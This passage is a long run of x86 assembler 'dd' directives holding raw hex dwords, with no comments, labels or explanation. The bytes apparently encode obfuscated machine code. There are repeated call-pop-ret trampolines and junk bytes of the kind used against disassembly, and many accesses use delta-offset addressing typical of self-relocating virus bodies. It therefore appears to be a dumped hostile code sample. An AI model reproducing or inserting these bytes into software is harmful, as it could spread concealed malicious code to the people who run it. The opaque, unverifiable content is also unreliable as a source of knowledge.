		dd 0A4009D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h, 50117400h
		dd 0B853h, 9D8D0000h, 62AA2B1h,	585BD3FFh, 81B52960h, 0E8062803h
		dd 5, 1ED8C1B4h, 0D995894Fh, 5A062801h,	89958961h, 0BA062818h
		dd 3151B08Ch, 0FC60C08Bh, 1D399D89h, 8B610628h,	56006AC0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1604h, 0C3564600h
		dd 0E910CF0Eh, 0Bh, 3A5DECEEh, 0DD752E77h, 107A31Ah, 2831D5B5h
		dd 49BD8306h, 62801h, 0BD830975h, 62814C5h, 50137400h
		dd 0B8C08B53h, 0
		dd 0A3329D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h, 50117400h
		dd 0B853h, 9D8D0000h, 62AA27Fh,	585BD3FFh, 18B98D8Bh, 0BB60628h
		dd 8D89C08Bh, 62814C1h,	0E8B1C08Bh, 149BD83h, 75000628h
		dd 0C5BD8309h, 62814h, 53501374h, 0B8C08Bh, 8D000000h
		dd 2AA3999Dh, 5BD3FF06h, 0C5BD8358h, 62814h, 53501174h
		dd 0B8h, 989D8D00h, 0FF062AA2h,	66585BD3h, 43A5CF81h, 10CA8166h
		dd 0BAC08BAFh, 0AB3D74Bh, 8B66D580h, 0D99D29C0h, 83062816h
		dd 280149BDh, 9750006h,	14C5BD83h, 74000628h, 8B535013h
		dd 0B8C0h, 9D8D0000h, 62AA2CBh,	585BD3FFh, 2EC58531h, 0BA660628h
		dd 0C08B05C1h, 3870Fh, 0D9800000h, 6AC08B49h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 0BB04C355h, 91A63A6h, 2816BD8Dh, 49BD8306h, 62801h
		dd 0BD830975h, 62814C5h, 50197400h, 0B8C08B53h,	7D0h, 2918589h
		dd 9D8D0628h, 62AA55Eh,	585BD3FFh, 14C5BD83h, 74000628h
		dd 0B8535017h, 7D0h, 2918589h, 9D8D0628h, 62AA24Dh, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 80C35747h
		dd 7C39E4FDh, 0B95108FDh, 3A57E926h, 50006A5Fh,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0E5B58939h
		dd 6606282Ah, 738E281h,	9D31C08Bh, 6280111h, 0D2585C6h
		dd 8B530628h, 28164595h, 5F906806h, 0B70F9939h,	0D5B5FFD6h
		dd 0E906282Dh, 10h, 1C780C52h, 70040DD7h, 0C9EDF4F3h, 0C1AC2B62h
		dd 3BBB858Dh, 85890628h, 6281459h, 6060D0FFh, 18059D89h
		dd 89610628h, 2829BD8Dh, 0B9606106h, 1D13F28h, 0D9858961h
		dd 66062814h, 0C61C48BFh, 280D2585h, 0BD895706h, 6281A59h
		dd 4520668h, 0AE990h, 0BE280000h, 769E2399h, 0C543737Bh
		dd 2DD5B5FFh, 6A0628h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 2B9308C3h, 0EA5AADBFh, 858D36CAh
		dd 6283BBBh, 0FE9h, 0C2BC0000h,	0DF979DFBh, 0E5CE52EDh
		dd 51A59968h, 8529D0FFh, 6281911h, 2DC18589h, 0BD890628h
		dd 62801F5h, 0D2585C6h,	6A430628h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 57E1C352h
		dd 15AD68Bh, 28223D9Dh,	70286806h, 8960BC90h, 2828E1B5h
		dd 6139B306h, 2DD5B5FFh, 0E9600628h, 0Fh, 0BAE66B65h, 1C3F3210h
		dd 674D512Ch, 89D0E181h, 2832AD9Dh, 858D6106h, 6283BBBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0A2C35343h
		dd 6CF5B4E4h, 833A0180h, 0FFF88B66h, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0C271AF50h
		dd 553BE85Eh, 498589ECh, 89062823h, 280139B5h, 2585C606h
		dd 4C06280Dh, 6890Fh, 0B5290000h, 6281255h, 0DA1CE968h
		dd 11BD2BD9h, 0FF06280Ch, 282DD5B5h, 2D958B06h,	306280Ch
		dd 280971BDh, 0BB858D06h, 0F06283Bh, 681h, 0A5D78100h
		dd 0F6E45E9h, 0B8Fh, 6E900h, 1F440000h,	0ADDE630Ah, 84BFD0FFh
		dd 66149F40h, 8589FE8Bh, 62833D1h, 7FA1DA81h, 85C671CDh
		dd 6280D25h, 27DA8046h,	0DE061468h, 0CE9BAh, 45A10000h
		dd 404A42B3h, 16E5B4D4h, 0B5FF987Dh, 6282DD5h, 1859531h
		dd 858D0628h, 6283BBBh,	11719501h, 0D0FF0628h, 19818589h
		dd 840F0628h, 16h, 11E9h, 1097B800h, 0AC3F8269h, 3A1FF4F5h
		dd 5E511F31h, 85C689BDh, 6280D25h, 68CE8B47h, 8A0FB5E2h
		dd 68F0Fh, 850F0000h, 0
		dd 2DD5B5FFh, 81600628h, 8361B9CEh, 31958B5Bh, 6106280Fh
		dd 3BBB858Dh, 0B9660628h, 0D0FF0043h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 16C35040h, 0B37AA0BAh, 2C218589h
		dd 6E90628h, 22000000h,	0A6B6FA8Ch, 2585C6F0h, 4706280Dh
		dd 0A1F1AEB9h, 0B5F3681Ah, 665783D0h, 0BF93CF81h, 0D5B5FF59h
		dd 8A06282Dh, 0BB858DCBh, 8B06283Bh, 2831FD8Dh,	8BD0FF06h
		dd 28327D95h, 0D9858906h, 0BA06280Eh, 77A339CDh, 0D2585C6h
		dd 6A770628h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 0CDCEC351h, 0A8A3683Fh, 8D8BF397h
		dd 6281675h, 174DB5FFh,	6A0628h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 190424h, 57470000h, 548529C3h, 8B0148E9h
		dd 28163995h, 0BB858D06h, 0F06283Bh, 180h, 0D0FFFC00h
		dd 1279CF81h, 85897A52h, 6280DF5h, 10E9h, 2C8B1F00h, 55C49D56h
		dd 9FC0193Fh, 0E6318367h, 2585C690h, 4706280Dh,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 1EC35343h, 2E821EF5h
		dd 0CC8A459Ah, 79DE8051h, 0FAF6685Ah, 81668728h, 0FFE3B8DAh
		dd 282DD5B5h, 7E906h, 5D030000h, 0A374C237h, 0BB858D39h
		dd 0E906283Bh, 0Eh, 38BA3E98h, 0B530C7B3h, 0B6B160A8h
		dd 0D0FFEA63h, 8D9D0160h, 89062833h, 28101DB5h,	85896106h
		dd 6281971h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0B1C35545h, 0C6BE7A2Dh,	280D2585h, 6A4306h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 5E22ABC3h, 66FA8B66h, 0FC68F98Bh, 80BC8E6Eh,	870FF3C6h
		dd 1Dh,	0FE860h, 615A0000h, 7C5033E9h, 0C816B62Ah, 51EDAC77h
		dd 8E0F58FCh, 0
		dd 0D5B5FF61h, 8906282Dh, 2807DD85h, 0BF0F6006h, 95B58BC8h
		dd 61062807h, 3BBB858Dh, 6A0628h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0EF810CC3h, 37EFB04Ah
		dd 8589D0FFh, 6281849h,	18D98589h, 66600628h, 6656CF8Bh
		dd 0D9AAE781h, 0CA8B6158h, 0D2585C6h, 68450628h, 8E726969h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0BEC35141h
		dd 745FC61Bh, 816662EEh, 0E91813F2h, 6,	0AB83019Bh, 0B5FFC79Dh
		dd 6282DD5h, 6860Fh, 8D890000h,	6280349h, 3BBB858Dh, 0BD8B0628h
		dd 6280231h, 0D981D0FFh, 7FE40963h, 2EFD8589h, 6A0628h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 9D8980C3h, 62828F9h,	0D2585C6h, 29440628h, 28100185h
		dd 0EC646806h, 0BA66B8F2h, 0B5FF62C2h, 6282DD5h, 0EE9h
		dd 3A2B1000h, 0B0835835h, 33038883h, 8D27B2D2h,	283BBB85h
		dd 0FFD38B06h, 51006AD0h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E9CD3D6Ch, 0Ch, 0C9FC04C9h
		dd 33791A93h, 0B89965E0h, 32798589h, 6A0628h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0A1D210C3h
		dd 72DF765Ah, 0C63EF580h, 280D2585h, 6A4306h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 842C01C3h
		dd 2723B063h, 0F9D6BF0Fh, 23758D89h, 0A7680628h, 8BC0764Ah
		dd 0D5B5FFFBh, 6A06282Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 0F129C352h,	1458D0E6h
		dd 0F4E4E2DBh, 29918589h, 858D0628h, 6283BBBh, 0FFCB8B66h
		dd 959523D0h, 8906281Eh, 2810C185h, 0EE906h, 0C9910000h
		dd 3BDB7BDEh, 0FC4FC81Eh, 0AF97AD6Ah, 0FA3ABD80h, 0F00062Ah
		dd 0D584h, 0E1853100h, 8B062833h, 281D2195h, 1C858D06h
		dd 23062AFAh, 282DA995h, 10E95006h, 1E000000h, 459D3128h
		dd 0B36D11A7h, 32CC29EAh, 6AC4A923h, 7E901h, 57ED0000h
		dd 4C432C46h, 23006A62h, 28231DBDh, 7E95206h, 11000000h
		dd 60CA64B2h, 6A5F7883h, 0DF816600h, 95FF0265h,	6282349h
		dd 1889BD8Bh, 8D8B0628h, 6280105h, 29398589h, 6A0628h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 1D149AC3h, 92D54B9h,	280E1D8Dh, 81FF6A06h, 0D5D27BE9h
		dd 39B5FF47h, 89062829h, 280EC185h, 0C195FF06h,	6A06282Dh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 3FEC351h,	3FD2EF81h, 0C08B4F3Ah, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 38C35646h, 79B713E2h
		dd 6678BC76h, 78F6C181h, 149BD83h, 75000628h, 0C5BD8309h
		dd 62814h, 53501974h, 0D1B8C08Bh, 89000007h, 28029185h
		dd 5E9D8D06h, 0FF062AA5h, 83585BD3h, 2814C5BDh,	17740006h
		dd 0D1B85350h, 89000007h, 28029185h, 4D9D8D06h,	0FF062AA2h
		dd 0F585BD3h, 0C08BD1BFh, 0EE8h, 0ED25A700h, 3E769B30h
		dd 0B4A0F488h, 0F55E0DE1h, 2585C65Fh, 4706280Dh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Bh, 90C35040h, 0D6D68688h
		dd 5196FFE6h, 0CFD28166h, 0C16859BCh, 0BF93C8F7h, 4898A8D8h
		dd 2DD5B5FFh, 0CE90628h, 10000000h, 53C2A459h, 0B61DEB0Ch
		dd 31B651E7h, 282061B5h, 0BB858D06h, 8B06283Bh,	280C7995h
		dd 0E8D0FF06h, 0Dh, 0BD2ACD7Bh,	183B4D7Dh, 0BCB760FEh
		dd 4D8D8BABh, 5F062820h, 0A18D2950h, 8D062820h,	2AFE5D85h
		dd 75958B06h, 0C7062829h, 9400h, 7E800h, 53D70000h, 0FB6DE9F3h
		dd 0BD8952B6h, 6282FC9h, 0FC585959h, 0FE5DB58Dh, 6A062Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0F657DDC3h, 0F8DBD8Bh, 8B560628h, 2810B5BDh,	9840F06h
		dd 0F000000h, 38Eh, 0FE8B6600h,	0DCB9D0FFh, 8D29DE9Fh
		dd 2AFE5D85h, 0C58D8B06h, 83062804h, 0F060478h,	1785h
		dd 0C7CF8B00h, 2AFEF185h, 106h,	8B0F5700h, 3, 5F0BD680h
		dd 2DDBD83h, 0F000628h,	6585h, 0ADBF6600h, 2ABF66F3h, 0F1BD833Ah
		dd 62AFEh, 50850Fh, 9D290000h, 6281511h, 267DBD83h, 0F000628h
		dd 3D84h, 0A99D0900h, 106282Eh,	281E5D9Dh, 2185C706h, 62817h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 6A4CC355h, 7913F1Dh, 1A519589h
		dd 8C660628h, 0C18166DBh, 0C3F6B159h, 98840F04h, 66000005h
		dd 0C15FF281h, 241585C7h, 628h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3B2063C3h
		dd 745EF6EDh, 7E8BA1Fh,	28000000h, 7C38AD85h, 10E949F2h
		dd 9A000000h, 0B0CFAE30h, 189AA37Fh, 0D540D147h, 5FAE3FF4h
		dd 0EE851h, 4D9D0000h, 3A0D05DBh, 0D3178887h, 36C789C0h
		dd 5FCA8B66h, 47BD805Ah, 62AFAh, 39850Fh, 6A0000h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 8928C6C3h, 0DE913FFh, 0CE000000h, 2E6FCF33h,	0B0FD345Dh
		dd 76A83BBDh, 1870Fh, 0C6F50000h, 280D2585h, 8D014706h
		dd 6282AD9h, 0E45B8668h, 5D8D8BE3h, 0FF062802h,	282DD5B5h
		dd 0CA8B6606h, 3BBB858Dh, 6A0628h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 0BDFADDC3h, 0E9D0FF8Dh
		dd 11h,	9AF8C881h, 0F008036Fh, 7A39BAF9h, 8DFA4DE2h, 0C6B9669Ah
		dd 10468EDh, 57600000h,	10E9h, 0F18FE400h, 0E10EBC6Ch
		dd 30858DA7h, 1F57BC63h, 858B5E67h, 6282361h, 299D8D61h
		dd 89062815h, 280D65B5h, 6A5306h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 669819C3h, 0F315E981h
		dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0B98C77C3h, 0E12B8DC5h, 1529858Dh, 8D2B0628h
		dd 6282689h, 50006A50h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 281AC02Eh, 9E9EDh, 5560000h, 61B3D25Ah
		dd 8D752C80h, 2AF9F985h, 858D5006h, 62AF0CCh, 2DA98D8Bh
		dd 66500628h, 0B1ACF181h, 0DF595FFh, 0C9810628h, 5DF82DD4h
		dd 890CC483h, 281EF585h, 658D3306h, 6A062825h, 806800h
		dd 36A0000h, 6A006Ah, 68h, 0CC858D80h, 50062AF0h, 18D995FFh
		dd 85890628h, 62AF9DCh,	0D2585C6h, 68470628h, 0C7B15E87h
		dd 2DD5B5FFh, 858D0628h, 6283BBBh, 6AD0FFh, 0F9DCB5FFh
		dd 0D0FF062Ah, 7E9h, 2F3BAA00h,	6CBB1A85h, 4A19501h, 0D03D0628h
		dd 0F000037h, 8483h, 0B9A4B900h, 0B5FF72D0h, 62AF9DCh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C35545h
		dd 18A2ACB6h, 820F28FFh, 6, 52D9D01h, 958B0628h, 62824F9h
		dd 22B1958Bh, 95FF0628h, 62810C1h, 0EDC78160h, 8B368543h
		dd 0CAE961F3h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 0E7E4C357h
		dd 149489BFh, 3850Fh, 8B660000h, 0DCB5FFFEh, 66062AF9h
		dd 95FFC88Bh, 62810C1h,	2FDB589h, 0C2800628h, 89006AA5h
		dd 28183185h, 0E8006A06h, 7, 0BC09095Ch, 0F9B94A35h, 66006A59h
		dd 6ACCE5B9h, 6AFC00h, 3299BD8Bh, 6A0628h, 2B5D9531h, 858D0628h
		dd 62AF9E0h, 2425958Bh,	8B500628h, 28005195h, 0D995FF06h
		dd 89062818h, 280E29BDh, 0FFF88306h, 146850Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0DA8091C3h, 0A870F42h, 0E9000000h, 5, 0E1C3B043h, 83858DC2h
		dd 81062AB0h, 7CA445E7h, 60D0FF5Bh, 7E9h, 9691EC00h, 399B4957h
		dd 0D9858960h, 0BF06282Ah, 2C132397h, 6A6161h, 79C66BB9h
		dd 6A006A64h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 95B6C355h, 0CC2E1CE1h,	0F9591FA9h
		dd 0E3DB589h, 6A0628h, 5F9BD8Bh, 6A0628h, 6ACE8Bh, 237D8D29h
		dd 6A0628h, 0F9B589F8h,	8D062818h, 2AF9E085h, 0BF665106h
		dd 505AF3DFh, 0F3D8A9B9h, 0D995FF79h, 8B062818h, 280701BDh
		dd 0FFF88306h, 76850Fh,	14BA0000h, 8D45778Ch, 2AF3E8B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 5528D221h, 66AEE87Bh, 65DFD181h,	9F24858Dh
		dd 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 8D8BBAC3h, 62832E9h, 8D23D0FFh, 6280FA9h
		dd 11498D01h, 6A0628h, 0FFF88BF9h, 282EFD95h, 4CE28006h
		dd 0F9DC8589h, 9D89062Ah, 6282AD9h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 78CACCC3h
		dd 0C05FB2BAh, 0C8BF0FA5h, 0F9D4858Dh, 6EB2062Ah, 0D18B6650h
		dd 8B51046Ah, 858D5FCFh, 62805D1h, 0FA5AF281h, 6A5065E0h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0DC70C350h, 4C7CF221h, 2209B501h,	6A0628h
		dd 1019D89h, 6A0628h, 6AD2B70Fh, 55006A01h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FFF531F0h
		dd 2AF9DCB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0B0C7A2Bh, 2813658Dh, 7995FF06h
		dd 50062832h, 0E2816660h, 0C0815BDAh, 41102F83h, 81665961h
		dd 0E923F6EFh, 1BD7h, 5840Fh, 81660000h, 8BAEA3D2h, 71BD89C0h
		dd 83062809h, 280149BDh, 9750006h, 14C5BD83h, 74000628h
		dd 8B535019h, 7D2B8C0h,	85890000h, 6280291h, 0A55E9D8Dh
		dd 0D3FF062Ah, 0BD83585Bh, 62814C5h, 50177400h,	7D2B853h
		dd 85890000h, 6280291h,	0A24D9D8Dh, 0D3FF062Ah,	0CF8B585Bh
		dd 2EE5B529h, 0C08B0628h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 10C35747h, 0F7903C0Fh, 8A3451D5h, 1585C7F4h
		dd 1062824h, 0B5000000h, 0E7B86861h, 0B5FFCEE4h, 628105Dh
		dd 3BBB858Dh, 0D0FF0628h, 17318589h, 858D0628h,	62AFC38h
		dd 0F5858D50h, 50062AFEh, 168h,	3195FF80h, 0B062817h, 0C70A75C0h
		dd 282F6585h, 106h, 0DBD46800h,	0B5FFC005h, 628105Dh, 3BBB858Dh
		dd 0D0FF0628h, 1F698589h, 858D0628h, 62AEE85h, 0D5B5FF50h
		dd 0FF06282Dh, 282C2195h, 74C00B06h, 8DD88B0Bh,	2AFE3885h
		dd 0D3FF5006h, 0FE38858Dh, 8366062Ah, 0A750938h, 12B185C7h
		dd 10628h, 95FF0000h, 6281971h,	0FF25h,	5F88300h, 85C70A73h
		dd 6283201h, 1,	0BE9h, 0DD14DA00h, 30C8C9E3h, 98A4BFECh
		dd 0FA47BD80h, 0F00062Ah, 2184h, 0AE900h, 0F7D50000h, 0E7E39300h
		dd 0B67081F4h, 0FEF1BD83h, 0F00062Ah, 1084h, 0DF816600h
		dd 50E9891Bh, 8900001Ah, 280F8995h, 0B1BD8306h,	62812h
		dd 0E4850Fh, 880F0000h,	0Eh, 5BD3160h, 81062818h, 8386B1E9h
		dd 858D6145h, 62AFA11h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 19h, 7BC35545h, 1D1D90C2h,	8D895048h, 6280EC9h
		dd 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
		dd 57470000h, 430F7DC3h, 6AC23C41h, 73E98100h, 6A1EC644h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 47733F2Fh, 0CB53AF02h, 8D8B0939h, 6280FC1h
		dd 234995FFh, 85890628h, 62AFA3Bh, 3718D23h, 0FF6A0628h
		dd 38A0Fh, 8B660000h, 3BB5FFF9h, 0FF062AFAh, 282DC195h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 9A45EE6h, 858D5BC1h, 62AEE4Ch, 565095B2h
		dd 14E9h, 213B5400h, 0D05F0217h, 0D284BD3Bh, 8D2D028Dh
		dd 2682E603h, 95FF5FD6h, 62833D1h, 1ECDB531h, 85890628h
		dd 62AEED6h, 4800Fh, 0BF660000h, 858D2C7Eh, 62AEE59h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 7FC35242h, 0ABE7A0BDh
		dd 89507D81h, 2814E19Dh, 0D6B5FF06h, 0B9062AEEh, 5AC3ED86h
		dd 2C2195FFh, 0B9660628h, 858938F5h, 6282465h, 19658D31h
		dd 858D0628h, 62AEEC7h,	50CFBF0Fh, 0FF71D280h, 2AEED6B5h
		dd 95FFF906h, 6282C21h,	240D8D89h, 85890628h, 62AEEEAh
		dd 21C18D8Bh, 858D0628h, 62AEEA6h, 68D0Fh, 0C2810000h
		dd 0CB239FFh, 8BD78B50h, 0D6B5FFD7h, 66062AEEh,	1AC2F281h
		dd 2C2195FFh, 8D8B0628h, 62811A9h, 0EEE28589h, 6A062Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 0DA5061C3h, 299A3A6Eh, 0DADEBFDCh, 858D6971h, 62AEE99h
		dd 50FEB70Fh, 3D2CDF81h, 0FA8B082Fh, 0EED6B5FFh, 9D01062Ah
		dd 62803A9h, 2C2195FFh,	6A0628h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1B0424h, 51410000h, 132C76C3h, 59725559h
		dd 9AEE8056h, 0EEE68589h, 0BA53062Ah, 56772ACh,	0B4858D5Ah
		dd 6A062AEEh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0CC9EC350h, 0B4FFD439h, 26287DE6h
		dd 52006A50h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0F2B6AE79h, 0B5895C2Bh, 6281199h, 0EED6B5FFh
		dd 95FF062Ah, 6282C21h,	235DBD8Bh, 0B5890628h, 6281815h
		dd 2A98589h, 81660628h,	8DF38DC9h, 2AEE6885h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0BF0F4E5Ch, 68C0FF9h, 1000000h, 2821ED9Dh, 0C58D8906h
		dd 50062817h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	3AC35040h, 7A1EDDD1h, 0FB0BE81h, 88Ch, 9D895300h
		dd 6282001h, 0D6B5FF5Fh, 2B062AEEh, 281941BDh, 2195FF06h
		dd 0FC06282Ch, 0EEDA8589h, 0BF0F062Ah, 77858DFAh, 0F062AEEh
		dd 38Fh, 0D18B6600h, 0C1816650h, 0B5FF42D2h, 62AEED6h
		dd 2DF9BD8Bh, 95FF0628h, 6282C21h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0C35343h, 8AAC5E5Eh, 981A5021h
		dd 0EEDE8589h, 468062Ah, 89000001h, 280BD1BDh, 6E858D06h
		dd 8B062AEFh
		dd 2826A195h, 0DE805006h, 0ABDA8071h, 0F072858Dh, 9589062Ah
		dd 6282159h, 6800F50h, 89000000h, 281135BDh, 0F98D8906h
		dd 0FF06282Eh, 280ED995h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0A58BA6D3h
		dd 0A770987Bh, 29918589h, 8B0F0628h, 6,	25C18531h, 860F0628h
		dd 8, 28E0Fh, 59530000h, 850FC085h, 1Fh, 13E8h,	522AC000h
		dd 0C5CFE975h, 68417743h, 61C03B55h, 6C289397h,	0BF98D8Bh
		dd 805F0628h, 2AFA47BDh, 850F0006h, 10h, 0E517BF66h, 15DAE9h
		dd 0DDB52900h, 0FC06280Dh, 12B1BD83h, 0F000628h, 3785h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F25009B5h, 0BD83A035h, 62AFEF1h, 45840F00h
		dd 80000000h, 8589F7EDh, 6280D55h, 0EF0B858Dh, 8166062Ah
		dd 0E92FA3F7h, 157Fh, 0E851006Ah, 3, 59C35920h,	4244C89h
		dd 4244481h, 17h, 71C35141h, 8B3A7796h,	2EE9CBh, 85090000h
		dd 6282169h, 0EEF6858Dh, 6A062Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 953162C3h, 62824C1h
		dd 10E950h, 29580000h, 73D21AE2h, 4DAB9388h, 7CDBDEA9h
		dd 858D7C07h, 62AEF6Eh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 1EC35040h, 0CA805091h, 0DE950C9h, 0B7000000h
		dd 7FAB7544h, 0B6475734h, 38D2D1A9h, 12B1BD83h,	0F000628h
		dd 5684h, 0D2BF0F00h, 0F094858Dh, 6A062Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 0C61495C3h
		dd 9BEEDF42h, 0E967F604h, 2Dh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0E4C35141h,	159D29E5h, 8D062800h
		dd 2AF07D85h, 0F7BF6606h, 0D68050F7h, 0CC858DF6h, 6A062AF0h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 75FEC351h, 6518D89h, 8B500628h, 282FC98Dh
		dd 0F595FF06h, 6A06280Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 0BA2BC352h,	83954E63h
		dd 0B52910C4h, 6282271h, 0EDD958Bh, 0C08B0628h,	0E3D8D8Bh
		dd 0BD830628h, 6280149h, 83097500h, 2814C5BDh, 19740006h
		dd 0C08B5350h, 7D3B8h, 91858900h, 8D062802h, 2AA55E9Dh
		dd 5BD3FF06h, 0C5BD8358h, 62814h, 53501774h, 7D3B8h, 91858900h
		dd 8D062802h, 2AA24D9Dh, 5BD3FF06h, 0E1816658h,	1BAD1B5h
		dd 8B46FAC9h, 0D8B966C0h, 0F6BD817Bh, 6F062AEEh, 0F616572h
		dd 8784h, 0DA816600h, 858D4F60h, 62AEF6Eh, 0AB858D50h
		dd 50062AF0h, 0F0CC858Dh, 0FF50062Ah, 280DF595h, 0CC48306h
		dd 0D2585C6h, 68440628h, 96A3184Fh, 2DD5B5FFh, 858D0628h
		dd 6283BBBh, 0D88BD0FFh, 0F0CC858Dh, 0FF50062Ah, 0F6858DD3h
		dd 50062AEEh, 0EF6E858Dh, 8350062Ah, 2812B1BDh,	8740006h
		dd 0F094858Dh, 6EB062Ah, 0F07D858Dh, 8D50062Ah,	2AF0CC85h
		dd 95FF5006h, 6280DF5h,	8B10C483h, 280109BDh, 78EE8006h
		dd 197195FFh, 0F78A0628h, 0FF25h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0C6FB5D5Fh
		dd 7673403Fh, 958BCCC6h, 62833A9h, 1295BD8Bh, 0F8830628h
		dd 49830F05h, 8B000000h, 2801EDBDh, 185C706h, 1062832h
		dd 0E9000000h, 10h, 2A9D74A4h, 804652Dh, 0AD3C7ABBh, 27C05149h
		dd 0EF2A858Dh, 0BD8B062Ah, 6281A19h, 74E9h, 7E800h, 29AE0000h
		dd 0EF108D68h, 11958B96h, 5A062821h, 12B1BD83h,	0F000628h
		dd 2584h, 0E59D8900h, 8906282Eh, 282CFDB5h, 55858D06h
		dd 29062AEFh, 28321D95h, 37E906h, 8B500000h, 282479BDh
		dd 858D5906h, 62AEF37h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0A9C35545h, 0C04D93Eh, 89DAEA4Ah, 282C1D8Dh
		dd 6A858906h, 6A062AEFh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0B2BC355h, 0CB8BD68Bh
		dd 2DD18D2Bh, 0BD830628h, 62812B1h, 23850F00h, 83000000h
		dd 2AFEF1BDh, 840F0006h, 44h, 1180E981h, 7E85550h, 24000000h
		dd 0E4B11E02h, 8B66C7BDh, 0B8E95AD3h, 6A000011h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
